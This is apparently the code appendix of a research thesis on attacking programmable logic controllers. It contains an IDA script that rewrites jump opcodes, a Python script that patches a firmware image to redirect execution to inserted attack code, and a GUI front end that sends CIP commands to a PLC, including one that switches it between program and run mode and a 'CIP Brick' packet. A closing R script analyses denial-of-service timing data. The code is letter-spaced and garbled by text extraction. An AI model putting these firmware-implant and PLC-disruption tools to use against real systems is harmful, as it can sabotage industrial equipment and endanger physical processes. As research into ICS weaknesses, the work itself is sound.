58 s t a t i c i sJump ( opCode ) {
59 a u t o r e s u l t ;

60

61 r e s u l t = opCode & 0xA000000 ;

62

63 i f ( r e s u l t == 0xA000000 ) {
64 r e t u r n 1 ;

65 } e l s e {
66 r e t u r n 0 ;

67 }
68 }
69

70 s t a t i c main ( ) {
71 a u t o minea ;

72 a u t o maxea ;

73 a u t o c u r r e n t O f f s e t ;

74 a u t o newOff se t ;

75 a u t o opCode ;

76 a u t o c o n d i t i o n ;

77 a u t o l i n k ;

78 a u t o o f f s e t ;

79 a u t o modOpcode ;

80 a u t o jumpOp ;

81 a u t o newAddress ;

82 a u t o ge tAddr ;

83 a u t o YNMsg = ” I s 00000000 t h e a d d r e s s o f t h e jump command you wish t o modify ? ” ;

84 a u t o f ;

85 a u t o fd ;

86

87 minea = MinEA ( ) ;

88 maxea = MaxEA ( ) ;

89 c u r r e n t O f f s e t = 0 ;

90 newOff se t = 0 ;

91 jumpOp = 0 ;

92 ge tAddr = 0 ;

93

94 jumpOp = ScreenEA ( ) ;

95 Message ( ” C u r r e n t Address : %x\n ” , jumpOp ) ;

96

97 YNMsg [ 3 : 1 1 ] = a t o a ( jumpOp ) ;

98

99 ge tAddr = AskYN ( 0 , YNMsg) ;

100

101 i f ( ge tAddr != 1) {
102 jumpOp = AskAddr ( jumpOp , ” P l e a s e e n t e r a d d r e s s o f jump i n s t r u c t i o n t o modify . ” ) ;

103 }
104

105 opCode = Dword ( jumpOp ) ;

106

107 i f ( i sJump ( opCode ) == 1) {
108 c o n d i t i o n = f indCond ( opCode ) ;

109 l i n k = g e t L i n k ( opCode ) ;

110 o f f s e t = g e t O f f s e t ( opCode ) ;

111 newAddress = c o n v e r t O f f t o A d d r ( jumpOp , o f f s e t ) ;
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112 newAddress = AskAddr ( newAddress , ” E n t e r a d d r e s s o f new jump l o c a t i o n . ” ) ;

113 Message ( ”New Address : %x\n ” , newAddress ) ;

114 } e l s e {
115 Message ( ” Not a Jump O p e r a t i o n . E x i t i n g ” ) ;

116 r e t u r n ( 1 ) ;

117 }
118

119 newOff se t = c o n v e r t A d d r t o O f f ( jumpOp , newAddress ) ;

120 Message ( ”New O f f s e t : %x\n ” , newOff se t ) ;

121 modOpcode = modOffse t ( opCode , newOf f se t ) ;

122

123 Message ( ” Address : %x OpCode : %x I s i t a jump : %d C o n d i t i o n : %x O f f s e t : %x Jump Address :

%x\n ” , jumpOp , opCode , i sJump ( opCode ) , c o n d i t i o n , o f f s e t , newAddress ) ;

124 Message ( ” Modi f i ed opcode i s : %x\n ” , modOpcode ) ;

125

126 f = A s k F i l e ( 1 , ” * . b i n ” , ” S e l e c t i n s t r u c t i o n sa v e f i l e . ” ) ;

127 fd = fopen ( f , ”w” ) ;

128

129 i f ( jumpOp >= 0 xd00000 ) {
130 w r i t e l o n g ( fd , jumpOp − 0 xd00000 , 1 ) ;

131 } e l s e {
132 w r i t e l o n g ( fd , jumpOp , 1 ) ;

133 }
134 w r i t e l o n g ( fd , modOpcode , 0 ) ;

135

136 }
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Appendix B:

Python Scripts

B.1 Modify Firmware

This python script builds the repackaged firmware by extracting only the opcodes from

the source assembled file and writing the opcodes to the firmware image at the specified

start address. The script also modifies a single jump address to redirect execution to the

attack code.

1 #−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
2 # Name : mod f i rmware . py

3 # Purpose : i n s e r t i n s t r u c t i o n s i n t o t h e f i r m w a r e image and modify t h e jump

4 # t o t h e i n s t r u c t i o n

5 # Author : c s c h u e t t

6 #

7 # C r e a t e d : 2 9 /0 9 /2 0 1 3

8 # C o p y r i g h t : ( c ) c s c h u e t t 2013

9 # L i c e n c e : <your l i c e n c e >

10 #−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
11

12 i m p o r t sys , g e t o p t

13 i m p o r t s h u t i l

14 i m p o r t os

15 from s t r u c t i m p o r t *
16

17 d e f main ( a rgv ) :

18 p a s s

19

20 f img = ’ ’

21 i n s t f = ’ ’

22 jumpf = ’ ’

23 s a d d r e s s = 0x0

24 j a d d r e s s = 0x0

25 opcode = 0x0

26

27 ## i f l e n ( s y s . a rgv ) != 4 :

28 ## p r i n t ’ Usage : mod f i rmware . py < f i rmware image > < i n s t r u c t i o n s f i l e > < s t a r t

a d d r e s s > ’

29 ## s y s . e x i t ( )

30

31 t r y :

32 op t s , a r g s = g e t o p t . g e t o p t ( argv , ” h f : i : j : s : v : ” )

33 e x c e p t g e t o p t . G e t o p t E r r o r :

34 p r i n t ’ Usage : mod f i rmware . py − f < f i rmware image > − i < i n s t r u c t i o n s f i l e > −s < s t a r t

a d d r e s s > −v <new v e r s i o n number> ’

35 s y s . e x i t ( )

36

37 f o r opt , a r g i n o p t s :

38 i f o p t == ’−h ’ :

39 p r i n t ’ Usage : mod f i rmware . py − f < f i rmware image > − i < i n s t r u c t i o n s f i l e > − j <

jump f i l e > −s < s t a r t a d d r e s s > −v <new v e r s i o n number> ’

40 s y s . e x i t ( )

41 e l i f o p t == ’− f ’ :
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42 f img = a r g

43 e l i f o p t == ’− i ’ :

44 i n s t f = a r g

45 e l i f o p t == ’− j ’ :

46 jumpf = a r g

47 e l i f o p t == ’−s ’ :

48 s a d d r e s s = i n t ( arg , 1 6 )

49 e l i f o p t == ’−v ’ :

50 v e r s i o n = i n t ( a r g )

51

52 #Copy f i r m w a r e image f i l e f o r w r i t i n g

53 d s t= ’ modded / ’ + f img

54 p r i n t d s t

55 t r y :

56 s h u t i l . copy ( fimg , d s t )

57 p r i n t ’ Copied f i l e %s t o %s ’ % ( fimg , d s t )

58 e x c e p t Excep t ion , msg :

59 p r i n t ’ F a i l e d t o copy %s t o %s ’ % ( fimg , d s t )

60

61 w i th open ( jumpf , ’ rb ’ ) a s f jump :

62 j a d d r e s s = unpack ( ’> i ’ , f jump . r e a d ( 4 ) ) [ 0 ]

63 opcode = unpack ( ’> i ’ , f jump . r e a d ( 4 ) ) [ 0 ]

64 f jump . c l o s e d

65

66 p r i n t hex ( j a d d r e s s )

67 p r i n t hex ( opcode )

68

69 w i th open ( d s t , ’ r+b ’ ) a s f f i r m :

70 wi th open ( i n s t f , ’ rb ’ ) a s f i n s t :

71 # Seek t o and modify v e r s i o n number

72 f f i r m . seek (0 x5 )

73 f f i r m . w r i t e ( pack ( ” b ” , v e r s i o n ) )

74 # Seek t o m o d i f i e d jump a d d r e s s

75 f f i r m . s ee k ( j a d d r e s s )

76 f f i r m . w r i t e ( pack ( ”> i ” , opcode ) )

77 # seek t o s t a r t o f i n s t r u c t i o n l o c a t i o n

78 f f i r m . s ee k ( s a d d r e s s )

79

80 # Seek t o s t a r t o f i n s t r u c t i o n s i n i n s t r u c t i o n f i l e

81 #ARM ELF assembly f i l e s s t a r t t h e i n s t r u c t i o n s a t b y t e 0x34

82 # b e f o r e t h a t i s h e a d e r i n f o r m a t i o n .

83 i n s t i n f o = os . s t a t ( i n s t f )

84 i n s t s i z e = i n s t i n f o . s t s i z e

85

86 # r e a d a l l d a t a from f i l e a f t e r t h e h e a d e r

87 f i n s t . s eek (0 x34 )

88 b l o c k = f i n s t . r e a d ( i n s t s i z e − 0x34 )

89 p r i n t b l o c k

90 e n d i n s t = b l o c k . f i n d ( ’ \ x41 \ x1f ’ )

91 p r i n t e n d i n s t

92

93 f i n s t . s eek ( 3 4 )

94 f o r j i n r a n g e ( 0 , e n d i n s t ) :

95 f f i r m . w r i t e ( b l o c k [ j ] )

96 f i n s t . c l o s e d

97 f f i r m . c l o s e d

98

99 p r i n t ’ Firmware image : ’ , f img

100 p r i n t ’ I n s t r u c t i o n F i l e : ’ , i n s t f

101 p r i n t ’ S t a r t Address : ’ , hex ( s a d d r e s s )

102

103 i f n a m e == ’ m a i n ’ :

104 main ( s y s . a r gv [ 1 : ] )
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B.2 Attack Front End

This python script simplifies sending attack commands to the PLC. The front end is

built as an extension of python classes developed by Dunlap for sending CIP commands

[20].

1 #−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
2 # Name : iENIP . py

3 # Purpose : Uses t k i n t e r t o c r e a t e a f r o n t end f o r c o n v e n i e n t l y s e n d i n g

4 # a t t a c k codes t o t h e PLC . Uses ENIP c l a s s w r i t t e n by Dunlap

5 # Author : c s c h u e t t

6 #

7 # C r e a t e d : 1 0 /1 2 /2 0 1 3

8 # C o p y r i g h t : ( c ) c s c h u e t t 2013

9 # L i c e n c e : <your l i c e n c e >

10 #−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
11

12 from T k i n t e r i m p o r t *
13 from t t k i m p o r t *
14 from ENIP i m p o r t *
15

16

17 c l a s s Example ( Frame ) :

18

19 d e f i n i t ( s e l f , p a r e n t ) :

20 Frame . i n i t ( s e l f , p a r e n t )

21

22 s e l f . p a r e n t = p a r e n t

23 s e l f . i n i t U I ( )

24

25 d e f i n i t U I ( s e l f ) :

26 s e l f . e = ENIP ( )

27

28 w = 350

29 h = 220

30

31 sw = s e l f . p a r e n t . w i n f o s c r e e n w i d t h ( )

32 sh = s e l f . p a r e n t . w i n f o s c r e e n h e i g h t ( )

33

34 x = ( sw − w) /2

35 y = ( sh − h ) /2

36 s e l f . p a r e n t . geomet ry ( ’%dx%d+%d+%d ’ % (w, h , x , y ) )

37

38 s e l f . p a r e n t . t i t l e ( ” CIP Commands” )

39 s e l f . s t y l e = S t y l e ( )

40 s e l f . s t y l e . t h e m e u s e ( ” d e f a u l t ” )

41

42 s e l f . pack ( f i l l =BOTH, expand=1)

43

44 s e l f . c o l u m n c o n f i g u r e ( 1 , w e i gh t =1)

45 s e l f . c o l u m n c o n f i g u r e ( 3 , pad=7)

46 s e l f . r o w c o n f i g u r e ( 3 , w e i g h t =1)

47 s e l f . r o w c o n f i g u r e ( 5 , pad=3)

48

49 s e l f . l b l = Labe l ( s e l f , t e x t=”Windows” )

50 s e l f . l b l . g r i d ( s t i c k y=W, pady=4 , padx=5)

51

52 s e l f . ipL = Labe l ( s e l f , t e x t=” IP Address : ” )

53 s e l f . p o r t L = Labe l ( s e l f , t e x t=” Des t . p o r t : ” )

54 s e l f . s l o t L = Labe l ( s e l f , t e x t=” S l o t # : ” )
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55 s e l f . c ipL = Labe l ( s e l f , t e x t=” C l a s s / I n s t a n c e : ” )

56

57 s e l f . i p = E n t r y ( s e l f )

58 s e l f . p o r t = E n t r y ( s e l f )

59 s e l f . s l o t = E n t r y ( s e l f )

60 s e l f . c ipC = E n t r y ( s e l f , w id th =3)

61 s e l f . c i p I = E n t r y ( s e l f , w id th =3)

62

63 s e l f . i p . i n s e r t ( 0 , ” 1 9 2 . 1 6 8 . 1 0 8 . 2 0 5 ” )

64 s e l f . p o r t . i n s e r t ( 0 , ” 44818 ” )

65 s e l f . s l o t . i n s e r t ( 0 , ” 0 ” )

66 s e l f . c ipC . i n s e r t ( 0 , ” bb ” )

67 s e l f . c i p I . i n s e r t ( 0 , ” cc ” )

68

69

70

71 s e l f . ipL . g r i d ( row=1 , column=0 , padx=1 , s t i c k y=W)

72 s e l f . p o r t L . g r i d ( row=2 , column=0 , padx=1 , s t i c k y=W)

73 s e l f . s l o t L . g r i d ( row=3 , column=0 , padx=1 , s t i c k y=W)

74 s e l f . c ipL . g r i d ( row=4 , column=0 , padx=1 , s t i c k y=W)

75

76 s e l f . i p . g r i d ( row=1 , column=1 , padx=5 , s t i c k y=W)

77 s e l f . p o r t . g r i d ( row=2 , column=1 , padx=5 , s t i c k y=W)

78 s e l f . s l o t . g r i d ( row=3 , column=1 , padx=5 , s t i c k y=W)

79 s e l f . c ipC . g r i d ( row=4 , column=1 , padx=5 , s t i c k y=W)

80 s e l f . c i p I . g r i d ( row=4 , column=1 , padx=5)

81

82

83 s e l f . connec tB = Bu t to n ( s e l f , t e x t=” Connect ” , command= s e l f . c o n n e c t )

84 s e l f . connec tB . g r i d ( row=1 , column=3)

85

86 s e l f . a b t n = B u t t o n ( s e l f , t e x t=”REM Prog ” , s t a t e=DISABLED , command= s e l f . s e t P r o g )

87 s e l f . a b t n . g r i d ( row=2 , column=3)

88

89 s e l f . c b t n = B u t t o n ( s e l f , t e x t=”REM Run” , s t a t e=DISABLED , command= s e l f . se tRun )

90 s e l f . c b t n . g r i d ( row=3 , column=3)

91

92 s e l f . d b tn = B u t t o n ( s e l f , t e x t=” CIP B r i c k ” , s t a t e=DISABLED , command= s e l f . cipBomb )

93 s e l f . db tn . g r i d ( row=4 , column=3)

94

95 s e l f . ewind = Text ( s e l f , padx=5 , pady=5 , wid th =40 , h e i g h t =3)

96 s e l f . ewind . g r i d ( row=5 , column=0 , columnspan=4)

97 s e l f . ewind . i n s e r t ( INSERT , ” Ready . . . ” )

98

99 s e l f . o b tn = B u t t o n ( s e l f , t e x t=” Close ” , command= s e l f . q u i t )

100 s e l f . ob tn . g r i d ( row=6 , column=3)

101

102 d e f c o n n e c t ( s e l f ) :

103 s e l f . e . c o n n e c t ( s e l f . i p . g e t ( ) , i n t ( s e l f . p o r t . g e t ( ) ) , i n t ( s e l f . s l o t . g e t ( ) ) )

104 s e l f . a b t n [ ’ s t a t e ’ ] = ’ e n a b l e d ’

105 s e l f . c b t n [ ’ s t a t e ’ ] = ’ e n a b l e d ’

106 s e l f . d b tn [ ’ s t a t e ’ ] = ’ e n a b l e d ’

107

108 # p r i n t s e l f . i p . g e t ( )

109 # p r i n t s e l f . p o r t . g e t ( )

110 # p r i n t s e l f . s l o t . g e t ( )

111

112 d e f s e t P r o g ( s e l f ) :

113 s e l f . e . s e t T o P r o g ( )

114

115 d e f se tRun ( s e l f ) :

116 s e l f . e . se tToRun ( )

117
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118 d e f cipBomb ( s e l f ) :

119 message = ( s e l f . c ipC . g e t ( ) + ’ 02200124 ’ + s e l f . c i p I . g e t ( ) ) . decode ( ’ hex ’ )

120 # p r i n t message

121 i f l e n ( message ) % 2 > 0 :

122 message += ’ \ x00 ’

123

124 r o u t e = s e l f . e . ge tPathOnBack ( 1 )

125

126 r e q = s e l f . e . wrapUnconnectedSend ( message , r o u t e )

127 r e q = s e l f . e . wrapENIP ( 0 , ’ ’ , 0xB2 , req , command= ’ \ x6f \ x00 ’ )

128

129

130 t ime1 = t ime . t ime ( )

131 s e l f . e . send ( r e q )

132 s e l f . ewind . d e l e t e ( 1 . 0 ,END)

133 s e l f . ewind . i n s e r t ( INSERT , r e q + ’ \n ’ )

134 s e l f . ewind . i n s e r t (END, s e l f . e . r e c v ( ) + ’ \n ’ )

135 # s e l f . ewind . i n s e r t (END, ’ Closed P o r t Time : ’ + ( t ime . t ime ( ) − t ime1 ) + ’\ n ’ )

136

137 d e f main ( ) :

138 r o o t = Tk ( )

139 app = Example ( r o o t )

140 r o o t . main loop ( )

141

142

143 i f n a m e == ’ m a i n ’ :

144 main ( )
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Appendix C:

R Scripts

The following R script runs the analysis tool developed by Dunlap to build the results

table used for performance analysis discussed in section 4.3.

C.1 Timed DoS Analysis
1 getwd ( )

2 se twd ( ” c : / Users / c s c h u e t t / Documents / d a t a a n a l y s i s ” )

3 s i n k ( ” combo ou tpu t . t x t ” )

4 o p t = o p t i o n s ( s c i p e n =5 , d i g i t s =5)

5 l i b r a r y ( x t a b l e )

6 l i b r a r y ( v i o p l o t )

7 l i b r a r y ( p l o t r i x )

8 l i b r a r y ( g g p l o t 2 )

9 s o u r c e ( ’ s r c / i n c l u d e . R ’ )

10 s o u r c e ( ’ s r c / mat2 tex . R ’ )

11 s o u r c e ( ’ s r c / a n a l y z e . R ’ )

12

13 t h r e s h = 0 .0001

14

15 # p r e v d i r = getwd ( )

16 # se twd ( ” . / d a t a / p r e l m o d e ” )

17

18 # s e t u p = r e a d . csv ( ’ e x p e r i m e n t a l s e t u p . t x t ’ , h e a d e r=FALSE)

19 # co lnames ( s e t u p ) = c ( ’ run ’ , ’ l a d ’ , ’ f i r m ’ )

20 # s e t u p $ r u n = a p p l y ( a s . a r r a y ( s e t u p $ r u n ) , 1 , f u n c t i o n ( x1 ) s p r i n t f ( ” runP %02d ” , x1 ) )

21 # s e t u p = s e t u p [ o r d e r ( s e t u p $ r u n ) , ]

22

23 # f i l e s = s e t u p $ r u n

24

25 # f o r ( i i n 1 : l e n g t h ( f i l e s ) ) {
26 # c u r r e n t = r e a d . csv ( f i l e s [ i ] , h e a d e r=TRUE)

27 # c u r r e n t <− c u r r e n t [ , 5 ]

28 # c u r r e n t <− c u r r e n t [ c u r r e n t != 0]

29 # c u r r e n t n a m e = p a s t e ( ” r u n ” , s u b s t r ( f i l e s [ i ] , 6 , 7 ) , sep=” ” )

30 # w r i t e . c sv ( c u r r e n t , f i l e =cu r r en tname , row . names=FALSE , c o l . names=” Task ” , q u o t e=FALSE)

31 # }
32

33

34 # p r i n t ( s e t u p $ r u n )

35

36

37 # se twd ( p r e v d i r )

38

39 c a t ( ” Running a n a l y s i s f o r key combo t e s t w i th l a d d e r l o g i c e x e c u t i o n t i m e s . \ n ” )

40 p = a n a l y z e ( ’ . / d a t a / combo ladde r ’ , nMeas=10000 , u s e b i g=TRUE, i n c l u d e o u t s=FALSE , mode=

FALSE)

41 w r i t e . c sv ( p , f i l e = ’ . / d a t a / combo ladde r / e x p d a t a b i g l a d d e r . csv ’ )

42

43 c a t ( ” Running a n a l y s i s f o r key combo t e s t w i th l a d d e r l o g i c e x e c u t i o n t i m e s . \ n ” )

44 p = a n a l y z e ( ’ . / d a t a / combo ladde r ’ , nMeas=10000 , u s e b i g=FALSE , i n c l u d e o u t s=FALSE , mode=

FALSE)

45 w r i t e . c sv ( p , f i l e = ’ . / d a t a / combo ladde r / e x p d a t a s m a l l l a d d e r . c sv ’ )

95



46

47 c a t ( ” Running a n a l y s i s f o r key combo t e s t w i th l a d d e r l o g i c e x e c u t i o n t i m e s . \ n ” )

48 p = a n a l y z e ( ’ . / d a t a / t i m e l a d d e r ’ , nMeas=10000 , u s e b i g=TRUE, i n c l u d e o u t s=FALSE , mode=FALSE

)

49 w r i t e . c sv ( p , f i l e = ’ . / d a t a / t i m e l a d d e r / e x p d a t a b i g l a d d e r . csv ’ )

50

51 c a t ( ” Running a n a l y s i s f o r key combo t e s t w i th l a d d e r l o g i c e x e c u t i o n t i m e s . \ n ” )

52 p = a n a l y z e ( ’ . / d a t a / t i m e l a d d e r ’ , nMeas=10000 , u s e b i g=FALSE , i n c l u d e o u t s=FALSE , mode=

FALSE)

53 w r i t e . c sv ( p , f i l e = ’ . / d a t a / t i m e l a d d e r / e x p d a t a s m a l l l a d d e r . c sv ’ )

54

55 c a t ( ” Running a n a l y s i s f o r key combo t e s t w i th l a d d e r l o g i c e x e c u t i o n t i m e s . \ n ” )

56 p = a n a l y z e ( ’ . / d a t a / s o f t c i p l a d d e r ’ , nMeas=10000 , u s e b i g=TRUE, i n c l u d e o u t s=FALSE , mode=

FALSE)

57 w r i t e . c sv ( p , f i l e = ’ . / d a t a / s o f t c i p l a d d e r / e x p d a t a b i g l a d d e r . csv ’ )

58

59 c a t ( ” Running a n a l y s i s f o r key combo t e s t w i th l a d d e r l o g i c e x e c u t i o n t i m e s . \ n ” )

60 p = a n a l y z e ( ’ . / d a t a / s o f t c i p l a d d e r ’ , nMeas=10000 , u s e b i g=FALSE , i n c l u d e o u t s=FALSE , mode=

FALSE)

61 w r i t e . c sv ( p , f i l e = ’ . / d a t a / s o f t c i p l a d d e r / e x p d a t a s m a l l l a d d e r . c sv ’ )

62

63 c a t ( ” Running a n a l y s i s f o r key combo t e s t w i th l a d d e r l o g i c e x e c u t i o n t i m e s . \ n ” )

64 p = a n a l y z e ( ’ . / d a t a / h a r d c i p l a d d e r ’ , nMeas=10000 , u s e b i g=TRUE, i n c l u d e o u t s=FALSE , mode=

FALSE)

65 w r i t e . c sv ( p , f i l e = ’ . / d a t a / h a r d c i p l a d d e r / e x p d a t a b i g l a d d e r . csv ’ )

66

67 c a t ( ” Running a n a l y s i s f o r key combo t e s t w i th l a d d e r l o g i c e x e c u t i o n t i m e s . \ n ” )

68 p = a n a l y z e ( ’ . / d a t a / h a r d c i p l a d d e r ’ , nMeas=10000 , u s e b i g=FALSE , i n c l u d e o u t s=FALSE , mode=

FALSE)

69 w r i t e . c sv ( p , f i l e = ’ . / d a t a / h a r d c i p l a d d e r / e x p d a t a s m a l l l a d d e r . c sv ’ )

70

71 s i n k ( )
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